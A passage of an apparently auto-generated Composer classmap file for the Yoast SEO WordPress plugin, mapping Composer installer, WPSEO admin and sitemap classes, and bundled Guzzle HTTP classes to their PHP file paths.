    'Composer\\Installers\\PhiftyInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PhiftyInstaller.php',
    'Composer\\Installers\\PhpBBInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PhpBBInstaller.php',
    'Composer\\Installers\\PiwikInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PiwikInstaller.php',
    'Composer\\Installers\\PlentymarketsInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php',
    'Composer\\Installers\\Plugin' => $vendorDir . '/composer/installers/src/Composer/Installers/Plugin.php',
    'Composer\\Installers\\PortoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PortoInstaller.php',
    'Composer\\Installers\\PrestashopInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PrestashopInstaller.php',
    'Composer\\Installers\\ProcessWireInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ProcessWireInstaller.php',
    'Composer\\Installers\\PuppetInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PuppetInstaller.php',
    'Composer\\Installers\\PxcmsInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PxcmsInstaller.php',
    'Composer\\Installers\\RadPHPInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/RadPHPInstaller.php',
    'Composer\\Installers\\ReIndexInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ReIndexInstaller.php',
    'Composer\\Installers\\Redaxo5Installer' => $vendorDir . '/composer/installers/src/Composer/Installers/Redaxo5Installer.php',
    'Composer\\Installers\\RedaxoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/RedaxoInstaller.php',
    'Composer\\Installers\\RoundcubeInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/RoundcubeInstaller.php',
    'Composer\\Installers\\SMFInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SMFInstaller.php',
    'Composer\\Installers\\ShopwareInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ShopwareInstaller.php',
    'Composer\\Installers\\SilverStripeInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SilverStripeInstaller.php',
    'Composer\\Installers\\SiteDirectInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SiteDirectInstaller.php',
    'Composer\\Installers\\StarbugInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/StarbugInstaller.php',
    'Composer\\Installers\\SyDESInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SyDESInstaller.php',
    'Composer\\Installers\\SyliusInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SyliusInstaller.php',
    'Composer\\Installers\\TaoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TaoInstaller.php',
    'Composer\\Installers\\TastyIgniterInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php',
    'Composer\\Installers\\TheliaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TheliaInstaller.php',
    'Composer\\Installers\\TuskInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TuskInstaller.php',
    'Composer\\Installers\\UserFrostingInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/UserFrostingInstaller.php',
    'Composer\\Installers\\VanillaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/VanillaInstaller.php',
    'Composer\\Installers\\VgmcpInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/VgmcpInstaller.php',
    'Composer\\Installers\\WHMCSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/WHMCSInstaller.php',
    'Composer\\Installers\\WinterInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/WinterInstaller.php',
    'Composer\\Installers\\WolfCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/WolfCMSInstaller.php',
    'Composer\\Installers\\WordPressInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/WordPressInstaller.php',
    'Composer\\Installers\\YawikInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/YawikInstaller.php',
    'Composer\\Installers\\ZendInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ZendInstaller.php',
    'Composer\\Installers\\ZikulaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ZikulaInstaller.php',
    'WPSEO_Abstract_Capability_Manager' => $baseDir . '/admin/capabilities/class-abstract-capability-manager.php',
    'WPSEO_Abstract_Metabox_Tab_With_Sections' => $baseDir . '/admin/metabox/class-abstract-sectioned-metabox-tab.php',
    'WPSEO_Abstract_Post_Filter' => $baseDir . '/admin/filters/class-abstract-post-filter.php',
    'WPSEO_Abstract_Role_Manager' => $baseDir . '/admin/roles/class-abstract-role-manager.php',
    'WPSEO_Addon_Manager' => $baseDir . '/inc/class-addon-manager.php',
    'WPSEO_Admin' => $baseDir . '/admin/class-admin.php',
    'WPSEO_Admin_Asset' => $baseDir . '/admin/class-asset.php',
    'WPSEO_Admin_Asset_Analysis_Worker_Location' => $baseDir . '/admin/class-admin-asset-analysis-worker-location.php',
    'WPSEO_Admin_Asset_Dev_Server_Location' => $baseDir . '/admin/class-admin-asset-dev-server-location.php',
    'WPSEO_Admin_Asset_Location' => $baseDir . '/admin/class-admin-asset-location.php',
    'WPSEO_Admin_Asset_Manager' => $baseDir . '/admin/class-admin-asset-manager.php',
    'WPSEO_Admin_Asset_SEO_Location' => $baseDir . '/admin/class-admin-asset-seo-location.php',
    'WPSEO_Admin_Bar_Menu' => $baseDir . '/inc/class-wpseo-admin-bar-menu.php',
    'WPSEO_Admin_Editor_Specific_Replace_Vars' => $baseDir . '/admin/class-admin-editor-specific-replace-vars.php',
    'WPSEO_Admin_Gutenberg_Compatibility_Notification' => $baseDir . '/admin/class-admin-gutenberg-compatibility-notification.php',
    'WPSEO_Admin_Help_Panel' => $baseDir . '/admin/class-admin-help-panel.php',
    'WPSEO_Admin_Init' => $baseDir . '/admin/class-admin-init.php',
    'WPSEO_Admin_Menu' => $baseDir . '/admin/menu/class-admin-menu.php',
    'WPSEO_Admin_Pages' => $baseDir . '/admin/class-config.php',
    'WPSEO_Admin_Recommended_Replace_Vars' => $baseDir . '/admin/class-admin-recommended-replace-vars.php',
    'WPSEO_Admin_Settings_Changed_Listener' => $baseDir . '/admin/admin-settings-changed-listener.php',
    'WPSEO_Admin_User_Profile' => $baseDir . '/admin/class-admin-user-profile.php',
    'WPSEO_Admin_Utils' => $baseDir . '/admin/class-admin-utils.php',
    'WPSEO_Author_Sitemap_Provider' => $baseDir . '/inc/sitemaps/class-author-sitemap-provider.php',
    'WPSEO_Base_Menu' => $baseDir . '/admin/menu/class-base-menu.php',
    'WPSEO_Breadcrumbs' => $baseDir . '/src/deprecated/frontend/breadcrumbs.php',
    'WPSEO_Bulk_Description_List_Table' => $baseDir . '/admin/class-bulk-description-editor-list-table.php',
    'WPSEO_Bulk_List_Table' => $baseDir . '/admin/class-bulk-editor-list-table.php',
    'WPSEO_Bulk_Title_Editor_List_Table' => $baseDir . '/admin/class-bulk-title-editor-list-table.php',
    'WPSEO_Capability_Manager' => $baseDir . '/admin/capabilities/class-capability-manager.php',
    'WPSEO_Capability_Manager_Factory' => $baseDir . '/admin/capabilities/class-capability-manager-factory.php',
    'WPSEO_Capability_Manager_Integration' => $baseDir . '/admin/capabilities/class-capability-manager-integration.php',
    'WPSEO_Capability_Manager_VIP' => $baseDir . '/admin/capabilities/class-capability-manager-vip.php',
    'WPSEO_Capability_Manager_WP' => $baseDir . '/admin/capabilities/class-capability-manager-wp.php',
    'WPSEO_Capability_Utils' => $baseDir . '/admin/capabilities/class-capability-utils.php',
    'WPSEO_Collection' => $baseDir . '/admin/interface-collection.php',
    'WPSEO_Collector' => $baseDir . '/admin/class-collector.php',
    'WPSEO_Content_Images' => $baseDir . '/inc/class-wpseo-content-images.php',
    'WPSEO_Cornerstone_Filter' => $baseDir . '/admin/filters/class-cornerstone-filter.php',
    'WPSEO_Custom_Fields' => $baseDir . '/inc/class-wpseo-custom-fields.php',
    'WPSEO_Custom_Taxonomies' => $baseDir . '/inc/class-wpseo-custom-taxonomies.php',
    'WPSEO_Customizer' => $baseDir . '/src/deprecated/admin/class-customizer.php',
    'WPSEO_Database_Proxy' => $baseDir . '/admin/class-database-proxy.php',
    'WPSEO_Date_Helper' => $baseDir . '/inc/date-helper.php',
    'WPSEO_Dismissible_Notification' => $baseDir . '/admin/notifiers/dismissible-notification.php',
    'WPSEO_Endpoint' => $baseDir . '/admin/endpoints/class-endpoint.php',
    'WPSEO_Endpoint_File_Size' => $baseDir . '/admin/endpoints/class-endpoint-file-size.php',
    'WPSEO_Endpoint_Statistics' => $baseDir . '/admin/endpoints/class-endpoint-statistics.php',
    'WPSEO_Export' => $baseDir . '/admin/class-export.php',
    'WPSEO_Expose_Shortlinks' => $baseDir . '/admin/class-expose-shortlinks.php',
    'WPSEO_File_Size_Exception' => $baseDir . '/admin/exceptions/class-file-size-exception.php',
    'WPSEO_File_Size_Service' => $baseDir . '/admin/services/class-file-size.php',
    'WPSEO_Frontend' => $baseDir . '/src/deprecated/frontend/frontend.php',
    'WPSEO_GSC' => $baseDir . '/admin/google_search_console/class-gsc.php',
    'WPSEO_Gutenberg_Compatibility' => $baseDir . '/admin/class-gutenberg-compatibility.php',
    'WPSEO_Image_Utils' => $baseDir . '/inc/class-wpseo-image-utils.php',
    'WPSEO_Import_AIOSEO' => $baseDir . '/admin/import/plugins/class-import-aioseo.php',
    'WPSEO_Import_AIOSEO_V4' => $baseDir . '/admin/import/plugins/class-import-aioseo-v4.php',
    'WPSEO_Import_Greg_SEO' => $baseDir . '/admin/import/plugins/class-import-greg-high-performance-seo.php',
    'WPSEO_Import_HeadSpace' => $baseDir . '/admin/import/plugins/class-import-headspace.php',
    'WPSEO_Import_Jetpack_SEO' => $baseDir . '/admin/import/plugins/class-import-jetpack.php',
    'WPSEO_Import_Platinum_SEO' => $baseDir . '/admin/import/plugins/class-import-platinum-seo-pack.php',
    'WPSEO_Import_Plugin' => $baseDir . '/admin/import/class-import-plugin.php',
    'WPSEO_Import_Plugins_Detector' => $baseDir . '/admin/import/class-import-detector.php',
    'WPSEO_Import_Premium_SEO_Pack' => $baseDir . '/admin/import/plugins/class-import-premium-seo-pack.php',
    'WPSEO_Import_RankMath' => $baseDir . '/admin/import/plugins/class-import-rankmath.php',
    'WPSEO_Import_SEOPressor' => $baseDir . '/admin/import/plugins/class-import-seopressor.php',
    'WPSEO_Import_SEO_Framework' => $baseDir . '/admin/import/plugins/class-import-seo-framework.php',
    'WPSEO_Import_Settings' => $baseDir . '/admin/import/class-import-settings.php',
    'WPSEO_Import_Smartcrawl_SEO' => $baseDir . '/admin/import/plugins/class-import-smartcrawl.php',
    'WPSEO_Import_Squirrly' => $baseDir . '/admin/import/plugins/class-import-squirrly.php',
    'WPSEO_Import_Status' => $baseDir . '/admin/import/class-import-status.php',
    'WPSEO_Import_Ultimate_SEO' => $baseDir . '/admin/import/plugins/class-import-ultimate-seo.php',
    'WPSEO_Import_WPSEO' => $baseDir . '/admin/import/plugins/class-import-wpseo.php',
    'WPSEO_Import_WP_Meta_SEO' => $baseDir . '/admin/import/plugins/class-import-wp-meta-seo.php',
    'WPSEO_Import_WooThemes_SEO' => $baseDir . '/admin/import/plugins/class-import-woothemes-seo.php',
    'WPSEO_Installable' => $baseDir . '/admin/interface-installable.php',
    'WPSEO_Installation' => $baseDir . '/inc/class-wpseo-installation.php',
    'WPSEO_Language_Utils' => $baseDir . '/inc/language-utils.php',
    'WPSEO_Listener' => $baseDir . '/admin/listeners/class-listener.php',
    'WPSEO_Menu' => $baseDir . '/admin/menu/class-menu.php',
    'WPSEO_Meta' => $baseDir . '/inc/class-wpseo-meta.php',
    'WPSEO_Meta_Columns' => $baseDir . '/admin/class-meta-columns.php',
    'WPSEO_Metabox' => $baseDir . '/admin/metabox/class-metabox.php',
    'WPSEO_Metabox_Analysis' => $baseDir . '/admin/metabox/interface-metabox-analysis.php',
    'WPSEO_Metabox_Analysis_Inclusive_Language' => $baseDir . '/admin/metabox/class-metabox-analysis-inclusive-language.php',
    'WPSEO_Metabox_Analysis_Readability' => $baseDir . '/admin/metabox/class-metabox-analysis-readability.php',
    'WPSEO_Metabox_Analysis_SEO' => $baseDir . '/admin/metabox/class-metabox-analysis-seo.php',
    'WPSEO_Metabox_Collapsible' => $baseDir . '/admin/metabox/class-metabox-collapsible.php',
    'WPSEO_Metabox_Collapsibles_Sections' => $baseDir . '/admin/metabox/class-metabox-collapsibles-section.php',
    'WPSEO_Metabox_Editor' => $baseDir . '/admin/metabox/class-metabox-editor.php',
    'WPSEO_Metabox_Form_Tab' => $baseDir . '/admin/metabox/class-metabox-form-tab.php',
    'WPSEO_Metabox_Formatter' => $baseDir . '/admin/formatter/class-metabox-formatter.php',
    'WPSEO_Metabox_Formatter_Interface' => $baseDir . '/admin/formatter/interface-metabox-formatter.php',
    'WPSEO_Metabox_Null_Tab' => $baseDir . '/admin/metabox/class-metabox-null-tab.php',
    'WPSEO_Metabox_Section' => $baseDir . '/admin/metabox/interface-metabox-section.php',
    'WPSEO_Metabox_Section_Additional' => $baseDir . '/admin/metabox/class-metabox-section-additional.php',
    'WPSEO_Metabox_Section_Inclusive_Language' => $baseDir . '/admin/metabox/class-metabox-section-inclusive-language.php',
    'WPSEO_Metabox_Section_React' => $baseDir . '/admin/metabox/class-metabox-section-react.php',
    'WPSEO_Metabox_Section_Readability' => $baseDir . '/admin/metabox/class-metabox-section-readability.php',
    'WPSEO_Metabox_Tab' => $baseDir . '/admin/metabox/interface-metabox-tab.php',
    'WPSEO_MyYoast_Api_Request' => $baseDir . '/inc/class-my-yoast-api-request.php',
    'WPSEO_MyYoast_Bad_Request_Exception' => $baseDir . '/inc/exceptions/class-myyoast-bad-request-exception.php',
    'WPSEO_MyYoast_Invalid_JSON_Exception' => $baseDir . '/inc/exceptions/class-myyoast-invalid-json-exception.php',
    'WPSEO_MyYoast_Proxy' => $baseDir . '/admin/class-my-yoast-proxy.php',
    'WPSEO_Network_Admin_Menu' => $baseDir . '/admin/menu/class-network-admin-menu.php',
    'WPSEO_Notification_Handler' => $baseDir . '/admin/notifiers/interface-notification-handler.php',
    'WPSEO_Option' => $baseDir . '/inc/options/class-wpseo-option.php',
    'WPSEO_Option_MS' => $baseDir . '/inc/options/class-wpseo-option-ms.php',
    'WPSEO_Option_Social' => $baseDir . '/inc/options/class-wpseo-option-social.php',
    'WPSEO_Option_Tab' => $baseDir . '/admin/class-option-tab.php',
    'WPSEO_Option_Tabs' => $baseDir . '/admin/class-option-tabs.php',
    'WPSEO_Option_Tabs_Formatter' => $baseDir . '/admin/class-option-tabs-formatter.php',
    'WPSEO_Option_Titles' => $baseDir . '/inc/options/class-wpseo-option-titles.php',
    'WPSEO_Option_Wpseo' => $baseDir . '/inc/options/class-wpseo-option-wpseo.php',
    'WPSEO_Options' => $baseDir . '/inc/options/class-wpseo-options.php',
    'WPSEO_Paper_Presenter' => $baseDir . '/admin/class-paper-presenter.php',
    'WPSEO_Plugin_Availability' => $baseDir . '/admin/class-plugin-availability.php',
    'WPSEO_Plugin_Conflict' => $baseDir . '/admin/class-plugin-conflict.php',
    'WPSEO_Plugin_Importer' => $baseDir . '/admin/import/plugins/class-abstract-plugin-importer.php',
    'WPSEO_Plugin_Importers' => $baseDir . '/admin/import/plugins/class-importers.php',
    'WPSEO_Post_Metabox_Formatter' => $baseDir . '/admin/formatter/class-post-metabox-formatter.php',
    'WPSEO_Post_Type' => $baseDir . '/inc/class-post-type.php',
    'WPSEO_Post_Type_Sitemap_Provider' => $baseDir . '/inc/sitemaps/class-post-type-sitemap-provider.php',
    'WPSEO_Premium_Popup' => $baseDir . '/admin/class-premium-popup.php',
    'WPSEO_Premium_Upsell_Admin_Block' => $baseDir . '/admin/class-premium-upsell-admin-block.php',
    'WPSEO_Primary_Term' => $baseDir . '/inc/class-wpseo-primary-term.php',
    'WPSEO_Primary_Term_Admin' => $baseDir . '/admin/class-primary-term-admin.php',
    'WPSEO_Product_Upsell_Notice' => $baseDir . '/admin/class-product-upsell-notice.php',
    'WPSEO_Rank' => $baseDir . '/inc/class-wpseo-rank.php',
    'WPSEO_Register_Capabilities' => $baseDir . '/admin/capabilities/class-register-capabilities.php',
    'WPSEO_Register_Roles' => $baseDir . '/admin/roles/class-register-roles.php',
    'WPSEO_Remote_Request' => $baseDir . '/admin/class-remote-request.php',
    'WPSEO_Replace_Vars' => $baseDir . '/inc/class-wpseo-replace-vars.php',
    'WPSEO_Replacement_Variable' => $baseDir . '/inc/class-wpseo-replacement-variable.php',
    'WPSEO_Replacevar_Editor' => $baseDir . '/admin/menu/class-replacevar-editor.php',
    'WPSEO_Replacevar_Field' => $baseDir . '/admin/menu/class-replacevar-field.php',
    'WPSEO_Rewrite' => $baseDir . '/inc/class-rewrite.php',
    'WPSEO_Role_Manager' => $baseDir . '/admin/roles/class-role-manager.php',
    'WPSEO_Role_Manager_Factory' => $baseDir . '/admin/roles/class-role-manager-factory.php',
    'WPSEO_Role_Manager_WP' => $baseDir . '/admin/roles/class-role-manager-wp.php',
    'WPSEO_Schema_Person_Upgrade_Notification' => $baseDir . '/admin/class-schema-person-upgrade-notification.php',
    'WPSEO_Shortcode_Filter' => $baseDir . '/admin/ajax/class-shortcode-filter.php',
    'WPSEO_Shortlinker' => $baseDir . '/inc/class-wpseo-shortlinker.php',
    'WPSEO_Sitemap_Cache_Data' => $baseDir . '/inc/sitemaps/class-sitemap-cache-data.php',
    'WPSEO_Sitemap_Cache_Data_Interface' => $baseDir . '/inc/sitemaps/interface-sitemap-cache-data.php',
    'WPSEO_Sitemap_Image_Parser' => $baseDir . '/inc/sitemaps/class-sitemap-image-parser.php',
    'WPSEO_Sitemap_Provider' => $baseDir . '/inc/sitemaps/interface-sitemap-provider.php',
    'WPSEO_Sitemaps' => $baseDir . '/inc/sitemaps/class-sitemaps.php',
    'WPSEO_Sitemaps_Admin' => $baseDir . '/inc/sitemaps/class-sitemaps-admin.php',
    'WPSEO_Sitemaps_Cache' => $baseDir . '/inc/sitemaps/class-sitemaps-cache.php',
    'WPSEO_Sitemaps_Cache_Validator' => $baseDir . '/inc/sitemaps/class-sitemaps-cache-validator.php',
    'WPSEO_Sitemaps_Renderer' => $baseDir . '/inc/sitemaps/class-sitemaps-renderer.php',
    'WPSEO_Sitemaps_Router' => $baseDir . '/inc/sitemaps/class-sitemaps-router.php',
    'WPSEO_Slug_Change_Watcher' => $baseDir . '/admin/watchers/class-slug-change-watcher.php',
    'WPSEO_Statistic_Integration' => $baseDir . '/admin/statistics/class-statistics-integration.php',
    'WPSEO_Statistics' => $baseDir . '/inc/class-wpseo-statistics.php',
    'WPSEO_Statistics_Service' => $baseDir . '/admin/statistics/class-statistics-service.php',
    'WPSEO_Submenu_Capability_Normalize' => $baseDir . '/admin/menu/class-submenu-capability-normalize.php',
    'WPSEO_Suggested_Plugins' => $baseDir . '/admin/class-suggested-plugins.php',
    'WPSEO_Taxonomy' => $baseDir . '/admin/taxonomy/class-taxonomy.php',
    'WPSEO_Taxonomy_Columns' => $baseDir . '/admin/taxonomy/class-taxonomy-columns.php',
    'WPSEO_Taxonomy_Fields' => $baseDir . '/admin/taxonomy/class-taxonomy-fields.php',
    'WPSEO_Taxonomy_Fields_Presenter' => $baseDir . '/admin/taxonomy/class-taxonomy-fields-presenter.php',
    'WPSEO_Taxonomy_Meta' => $baseDir . '/inc/options/class-wpseo-taxonomy-meta.php',
    'WPSEO_Taxonomy_Metabox' => $baseDir . '/admin/taxonomy/class-taxonomy-metabox.php',
    'WPSEO_Taxonomy_Sitemap_Provider' => $baseDir . '/inc/sitemaps/class-taxonomy-sitemap-provider.php',
    'WPSEO_Term_Metabox_Formatter' => $baseDir . '/admin/formatter/class-term-metabox-formatter.php',
    'WPSEO_Tracking' => $baseDir . '/admin/tracking/class-tracking.php',
    'WPSEO_Tracking_Addon_Data' => $baseDir . '/admin/tracking/class-tracking-addon-data.php',
    'WPSEO_Tracking_Default_Data' => $baseDir . '/admin/tracking/class-tracking-default-data.php',
    'WPSEO_Tracking_Plugin_Data' => $baseDir . '/admin/tracking/class-tracking-plugin-data.php',
    'WPSEO_Tracking_Server_Data' => $baseDir . '/admin/tracking/class-tracking-server-data.php',
    'WPSEO_Tracking_Settings_Data' => $baseDir . '/admin/tracking/class-tracking-settings-data.php',
    'WPSEO_Tracking_Theme_Data' => $baseDir . '/admin/tracking/class-tracking-theme-data.php',
    'WPSEO_Upgrade' => $baseDir . '/inc/class-upgrade.php',
    'WPSEO_Upgrade_History' => $baseDir . '/inc/class-upgrade-history.php',
    'WPSEO_Utils' => $baseDir . '/inc/class-wpseo-utils.php',
    'WPSEO_WordPress_AJAX_Integration' => $baseDir . '/inc/interface-wpseo-wordpress-ajax-integration.php',
    'WPSEO_WordPress_Integration' => $baseDir . '/inc/interface-wpseo-wordpress-integration.php',
    'WPSEO_Yoast_Columns' => $baseDir . '/admin/class-yoast-columns.php',
    'Wincher_Dashboard_Widget' => $baseDir . '/admin/class-wincher-dashboard-widget.php',
    'YoastSEO_Vendor\\GuzzleHttp\\BodySummarizer' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/BodySummarizer.php',
    'YoastSEO_Vendor\\GuzzleHttp\\BodySummarizerInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/BodySummarizerInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Client' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Client.php',
    'YoastSEO_Vendor\\GuzzleHttp\\ClientInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/ClientInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\ClientTrait' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/ClientTrait.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\CookieJar' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/CookieJar.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\CookieJarInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/CookieJarInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\FileCookieJar' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\SessionCookieJar' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Cookie\\SetCookie' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/SetCookie.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\BadResponseException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/BadResponseException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\ClientException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ClientException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\ConnectException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ConnectException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\GuzzleException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/GuzzleException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\InvalidArgumentException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/InvalidArgumentException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\RequestException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/RequestException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\ServerException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ServerException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\TooManyRedirectsException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/TooManyRedirectsException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Exception\\TransferException' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Exception/TransferException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\HandlerStack' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/HandlerStack.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlFactory' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlFactory.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlFactoryInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlHandler' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlHandler.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\CurlMultiHandler' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\EasyHandle' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/EasyHandle.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\HeaderProcessor' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/HeaderProcessor.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\MockHandler' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/MockHandler.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\Proxy' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/Proxy.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Handler\\StreamHandler' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Handler/StreamHandler.php',
    'YoastSEO_Vendor\\GuzzleHttp\\MessageFormatter' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/MessageFormatter.php',
    'YoastSEO_Vendor\\GuzzleHttp\\MessageFormatterInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/MessageFormatterInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Middleware' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Middleware.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Pool' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Pool.php',
    'YoastSEO_Vendor\\GuzzleHttp\\PrepareBodyMiddleware' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\AggregateException' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/AggregateException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\CancellationException' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/CancellationException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Coroutine' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/Coroutine.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Create' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/Create.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Each' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/Each.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\EachPromise' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/EachPromise.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\FulfilledPromise' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/FulfilledPromise.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Is' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/Is.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Promise' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/Promise.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\PromiseInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/PromiseInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\PromisorInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/PromisorInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\RejectedPromise' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/RejectedPromise.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\RejectionException' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/RejectionException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\TaskQueue' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/TaskQueue.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\TaskQueueInterface' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/TaskQueueInterface.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Promise\\Utils' => $baseDir . '/vendor_prefixed/guzzlehttp/promises/src/Utils.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\AppendStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/AppendStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\BufferStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/BufferStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\CachingStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/CachingStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\DroppingStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/DroppingStream.php',
